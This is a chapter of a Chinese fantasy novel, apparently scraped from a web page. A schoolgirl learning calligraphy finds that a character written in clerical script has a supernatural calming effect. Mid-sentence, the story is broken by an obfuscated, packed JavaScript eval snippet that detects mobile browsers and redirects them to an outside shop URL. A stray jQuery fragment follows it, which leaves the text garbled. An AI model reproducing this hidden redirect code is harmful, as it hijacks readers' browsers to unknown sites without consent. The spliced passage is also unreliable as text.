三月的风带着些许暖意，吹过学校操场边的柳树梢头。
那些柳树是去年春天学校搞绿化时栽的，张清记得当时还来了好几辆卡车，工人师傅们挖坑、栽树、浇水，忙活了一整天。如今那些小树苗已经抽出了新芽，嫩绿的枝条在风中轻轻摇摆，少女的长发。
新学期开始了。张清升入初二下学期，课业比上学期又紧了几分。每天早上七点要到校早读，晚上六点才能放学回家，中间只有午休时才有一点空闲。但每天雷打不动的午间练字时间，她从不落下。
学校在周三下午开设了书法选修课，由退休的美术老师周老师主讲。周老师全名叫周明远，六十出头，据说年轻时在省城美术学院教过书，后来不知为什么回了这个小县城，在学校当起了义务的书法老师。美术教室隔壁有间小办公室，窗台上摆满了各种盆栽，墙上挂着几幅周老师自己的作品。
张清本来没打算报名，她总觉得自己的路子可能和课堂上教的不太一样。书法课教的是正楷、唐楷、欧楷柳楷那些，而她练的那些字，更接近另一种东西。
但报名截止前一天，王老师在走廊里遇见她，随口问了一句：“怎么不报？你的字本来就不错，正好系统学学。多学学总没坏处。”
这话让她改变了主意。
于是每周三下午第三节课，张清就会抱着自己的毛笔和砚台，去美术教室上课。教室不大，墙上挂满了历届学生的书法作业，毛笔、宣纸、墨汁整整齐齐地码在教室后面的架子上。阳光从窗户斜斜照进来，能看见空气中飘浮的细小灰尘，无数微小的星星在光柱里跳舞。
周老师是个和气的老头，说话语速慢悠悠的，但讲起话来却很有分量。
“书法四体，各有性情。”第一次上课时，周老师如是说。他站在讲台上，手持一根教鞭，指着墙上挂着的四幅字帖，“楷如立，行如走，草如跑，隶如醉。不同的字体，适合不同的场合，也反映出书写者不同的心境。”
张清坐在最后一排，支着耳朵听着，手里的笔无意识地在纸上划拉。她看着墙上的字帖：楷书端庄，行书流畅，草书狂放，隶书古朴。每一幅都有每一幅的味道，每一幅都有每一幅的气象。
“楷书是书法的根基，”周老师继续说道，“横平竖直，一笔一划都要交代清楚。盖房子，地基打得牢，上面的楼才稳当。但楷书也有缺点，太规矩了，少了些灵气。”
张清听到这里，心里稍微一动。
楷书太规矩了，少灵气。
这话让她想起自己写“安”字时的感觉。楷书写出来的“安”，确实是稳稳当当的，但也确实是少了点什么。少了什么呢？她当时说不清，现在听了周老师的话，有点明白了。
下课后，她没急着走。其他同学三三两两地离开了，教室里渐渐空了下来。张清走到讲台前，站了一会儿，等周老师把讲台上的纸墨收拾好，才开口。
“周老师，我想请教您一个问题。”
周老师抬起头，打量了她一眼。周老师戴着一副老花镜，镜片后的眼睛却很有神，看人的时候能把人看穿。
“你说。”
“如果同一个字，用不同的字体写出来，效果会不同吗？”张清斟酌着措辞，“我是说……气势、感觉这一类的。”
周老师捋了捋下巴上的胡茬，在认真思考这个问题。
“小同学问得好。”他点点头，走到墙边，指着那四幅字帖，“不同字体，确实有不同的气质。楷书工整，端庄稳重；行书流畅，灵动自然；草书奔放，恣肆张扬；隶书古朴，厚重沉稳。这些都是常识。”
张清认真地听着，生怕漏掉一个字。
“但要说效果——”周老师顿了顿，目光落在她身上，有些意味深长，“效果这东西，因人而异。同样的字，不同的人写出来，气象是不同的。这里面的道理，要靠你自己去悟。字如其人，字也养人。你是一个什么样的心境，就会写出什么样的字来。”
张清似懂非懂地点点头。
告别了周老师，她走在回家的路上，心里一直在琢磨那番话。
字如其人，字也养人。
这话以前她也听张慎之说过，但当时年纪小，听不太懂。现在再想起来，有了些新的感悟。她想起自己写“安”字时的心态：安静、平和、不急不躁。那时候她心里没有杂念，整个人的注意力都集中在笔尖上，所有的力气都顺着笔杆流到纸上。
那种感觉，和平时的自己不太一样。
写字的时候，她变成了另一个人。
那天晚上，她在自己房间里摊开纸墨，决定亲自试一试。
还是那个“安”字。
她先写了一张标准的楷书。颜体，横细竖粗，收笔处圆润饱满。这些都是张慎之教她的基本功，她练了不知道多少遍，早就刻在骨子里了。写完之后贴在门后，闭上眼睛感受，那股安稳的气息稳稳地包裹着她，一个结实的拥抱。
好，不错，和以前一样。
然后是行书。
行书的“安”字笔画连绵，牵丝引带，有一种流动的美感。张清写得不算熟练，有几处转折显得生硬，但整体还算过得去。贴在门后一试，那股安稳的气息立刻不一样了，变成了流水一样绕着她转，柔和，灵动，但依然安稳。
有意思。
张清又拿出一张纸，开始写草书。
草书不是她的强项。那些龙飞凤舞的笔画让她有些手忙脚乱，好几次差点把笔画写错。但她硬着头皮写完了一张，墨迹干透后，她盯着那个奔放的“安”字看了半天，总觉得哪里不对。
贴上去一试，效果果然出了问题。
那股气息确实很强，甚至比楷书和行书都要猛，但它太躁动了。被关在笼子里的野兽，东冲西撞，在她胸口横冲直撞。张清皱起眉头，花了好一会儿才让它平息下来。
看来草书不适合“安”字。至少，她现在的水平还驾驭不了。那种狂放的笔画需要的不仅是手上的功夫，更是心里的境界。她现在的心境，还压不住那种力量。
最后是隶书。
张清从来没正经练过隶书，只是在碑帖上看过一些。她回忆着那些古老的笔画，蚕头燕尾，一波三折，古朴而厚重。隶书和楷书不同，没有那么多规矩，笔画随性而发，但又自有其法度。
第一次写，失败了。笔画太僵硬，完全没有隶书应有的韵味。用楷书的笔法写隶书，徒有其形，不得其神。
第二次，稍微好了一点。笔画柔和了些，但转折处还是显得生硬，一件仿古的瓷器，看着有那么回事，其实差得远。
第三次、第四次、第五次……
她也不知道自己写了多少遍，只觉得手臂酸痛，手腕发麻，额头上渗出了细
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809230|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
密的汗珠。有那么一瞬间，她几乎想要放弃了，隶书这种东西，看来不是她能学会的。
就在她快要放下笔的那一刻，奇怪的事情发生了。
笔尖忽然变轻了。
确切地说，变轻的是写字的手感。那些笔画顺着笔势自然地流淌出来，已无须刻意模仿。蚕头圆浑，燕尾舒展，一撇一捺都恰到好处，水到渠成一般自然。
张清愣住了。
她低头看着纸上的字，难以置信。那确确实实是她写的，可又像另一个人写的。那是一种很奇怪的感觉，做梦的时候，梦里的一切都那么真实，醒来之后却想不通那是怎么发生的。
她把那张字贴在门后。
然后，她闭上了眼睛。
那股安稳的气息——不，已经不仅仅是安稳了。那是一种难以言喻的感觉，坐在深秋的院子里，头顶是一轮皎洁的明月，四周是无边的寂静。整个人都沉静了下来，尘世的喧嚣都被隔绝在了某个遥远的地方。
蝉，停了。
不是慢慢停下来，而是戛然而止，被人按下了暂停键。
张清猛地睁开眼睛，侧耳倾听。屋外的蝉鸣声彻底消失了。现在是三月，按理说蝉还没出来，但那不重要。重要的是那种寂静的感觉。那寂静不是空荡荡的虚无，而是一种充盈的、饱满的静，有什么东西把所有的喧嚣都隔绝在了外面。
整整两分钟。
两分钟后，蝉鸣声才重新响起，一首被打断的乐曲继续演奏。
张清呆呆地站在门后，心脏砰砰直跳。她摸了摸自己的脸，冰凉的，额头上的汗还没干。她又看了看那张贴在门后的隶书“安”字，字还是那张字，墨迹还是那些墨迹，但她看它的眼神完全不同了。
隶书。她从来没练过的隶书。
为什么效果会这么强？
她拿起那张字，凑到油灯下仔细端详。灯光在字帖上投下晃动的影子，那些墨迹活过来一样，在她的注视下稍微颤动。
她想起周老师的话：隶书古朴，厚重沉稳。
又想起自己在残页上看到的那些符图，那些古老而复杂的笔画，线条古拙，气质沉厚，和她今晚写的这张隶书竟然有几分神似。
难道残页上的那些符图，也是用隶书……不，比隶书更古老的字体写成的？
如果真是这样，那她之前用楷书的思路去解读那些符图，岂不是完全走错了方向？
张清把那张隶书“安”字小心翼翼地收好，夹进笔记本里。然后，她拿出一张空白的纸，准备记下今晚的发现。
她看了一眼墙上的挂钟，已经快十一点了。母亲刚才来敲过一次门，让她早点睡，明天还要上学。
她应了一声，却没有动。
她坐在桌前，盯着面前空白的纸发呆。脑海里反复盘旋着一个问题：
如果用篆书呢？
篆书比隶书更古老，是汉字的源头。那些弯曲缠绕的笔画，那些神秘的图案，会不会就是残页上那些符图的来源？
窗外，夜风吹动树枝，发出沙沙的响声。远处传来火车的汽笛声，悠长而低沉，某种远古的呼唤。
张清把那张空白的纸收起来，吹熄了灯。
答案只能等明天再找了。
她闭上眼睛，黑暗中那些隶书的笔画还在眼前浮现，蚕头燕尾，一笔一画都带着远古的气息。